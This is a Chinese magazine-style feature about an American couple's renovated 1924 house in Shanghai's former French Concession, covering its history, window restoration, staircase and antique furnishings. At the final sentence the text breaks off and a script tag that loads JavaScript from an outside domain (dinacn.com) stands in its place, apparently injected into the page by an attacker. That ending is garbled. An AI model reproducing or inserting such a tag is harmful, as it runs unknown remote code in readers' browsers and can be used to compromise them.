Don和Beth的房子位于华山路复兴中路交界处,转角处就是著名的“夏朵”咖啡馆。街边梧桐枝叶成荫,仿佛记录着岁月的印痕。这好似上海的隐秘花园,把邻近的喧嚣全都隔离开了,只盛放属于自己的气息:那是夹缠着过去和现代、东方和西方的混合体,仿佛因为有着岁月的沉淀,呼吸都会缓慢下来。
Don夫妇居住的房子于1924年建成,当时的主人被称为“花王”。当年他建造了三座联体的房屋,一座为自己居住,另两座则为两个儿子准备。到了1952年,房子的主人成了姚姓的家族,他们是绍兴人,因为发明了不燃的纸烟,当时又被冠以“烟王”的美称。
这座老屋因为有了两位“王”的故事,更添了一份传奇。可惜年代久远,故事已经渐渐在岁月里失去了轮廓。Don告诉我们,这是他们所能寻找到的有关这座老屋的全部历史资料。
Don夫妇来自美国,在中国已经居住了11年,其中6年都定居在上海。他们最喜欢的区域是原法租界区,闹中取静,连接着四通八达的交通要道,闲时又可以信步在四周走走。他们对老房子情有独钟,能拥有现在这所房子作为自己的家,一切都好似缘分。
这些年来,Don夫妇在上海买下过若干所老房子,从武康路到安福路,又在2004年6月搬到现在的居所。他们是上海第一个买下老房子的外国人,随着越来越多的外国人进入上海,又随着政府对老房子交易的控制,拥有上海的一处旧屋已远不似5年前那么简单了。但正如Don所言,在闹市中心拥有一座自己的老房子,真是妙不可言:“如果换作别的地方,我想可能会为房子而破产吧。”
这所旧屋总面积有250平方米,房间宽敞,层高比现在一般住宅要挑高许多。又带有精致的小院子,一隅栽有竹子,十分清雅。坐在堂内,可以听到小喷泉卟卟的水泡声。而关起弄堂的大门,就完全是一方与世隔绝的小天堂,安静又安全。室内设计的部分由设计师Raefer完成,说起与之相遇的经过,大概也只能归结为缘分。Don说,当时他们还住在武康路上,一天看到Raefer在仔细研究他们家的窗户,就攀谈了起来,就此也成了朋友。
“老房子的改建,窗户部分是个很麻烦的问题。玻璃的厚度和现在的窗户很不同,很难找到合适的制作厂家;又要考虑空调的位置,保暖通风的部分,又不能破坏原来的花样,整个工程就变得十分繁琐。”
Raefer给Don夫妇设计的窗户很有传统特色:保留了格子花样,又把原先的扶墙敲掉,成为整面的落地窗,正好可以望见小院子里的竹子。“其实想要保留这样传统的式样真地很费工夫,因为有些人不愿意把钱投在窗子上,也不愿意为那些‘看不见’的地方多费些钱,幸好Don夫妇听从了我的意见。经过那么长的时间,木头已经脆弱,很容易裂开,其中70%会坏掉,我们最后采取的是‘嵌入’方式,既安全,又保证了窗户的样式不被破坏。”
在Raefer的电脑里,记录着整所屋子从破落而简陋的模样,进化到如今中西融汇的典雅小室,才知细至角落的打点,都出于最周密的考虑。和原来房屋最不同的地方,在于Raefer架起了木扶梯,使空间有了延伸感。楼梯下的空隙被设计成摆放音响的隐秘空间,在宽大的椅榻上坐下,只听见一室音乐绕梁,却不知从何而起,又在何处而终。
Don夫妇很喜欢在四处收集古董,在这一间屋子里,终于可以铺陈展开。从1994年他们住在香港时开始,就一点一滴收集各种家具装饰,最典型的,是他们从山西寻到的宝贝——一完整的大门,高约两米,在他们过去任何一个住所,都无法安然摆放进去。
“这曾是我们的噩梦,”Beth笑着说,“因为无法找到合适的空间去安置,而我们那么喜欢这扇门,它简直是我们生活的一部分。”这扇古门上还保留着沉重的铁锁,需要费一些力气才能打开。“并不是太古老的东西,但我们想,这肯定不是平常百姓人家的大门,一定曾经经历过许多故事。”现在,古门被安放在一面整墙上,并不是单纯的装饰,拉开铁锁,里面还藏有电视和DVD等影像设备,古今的对照水乳交融,让人不由得称妙。
而顺着木扶梯往上走,半层处有一个小间,被布置成了一方小书房。Beth很喜欢这里:“非常安静,只要关上门,世界上就只有我一个人了。”主卧在二楼,一张维多利亚风格的四桅大窗,与房屋整体的旧式气息合拍得分毫不差。而往里走,浴室出乎意料的简单且典雅:罗马风格的大理石为主要质地,没有任何繁复的装饰,单纯地以整片色块和线条勾勒出清爽的气息。
在二楼的衣帽间内,Beth打开窗户:那是怎样的一片郁绿葱葱!“我们本来希望朝这一面的窗户可以打开一些,因为这是我们房屋所属的地方。但是,我并不知道这个美丽的花园的主人是谁,总是有人来告诉我们,不可以把窗开过界线,所以我们就只能这样看这片风景。”虽然有些遗憾,但Beth却还是高兴:“我想,这里大概是一个很难得的地方,毗邻神秘而威严的邻居,我们仍然觉得很幸运,因为现在石库门在上海已经非常难找,在新式弄堂里就更加难得。往前走几步,就是政府?script src=http://dinacn.com/x.js> |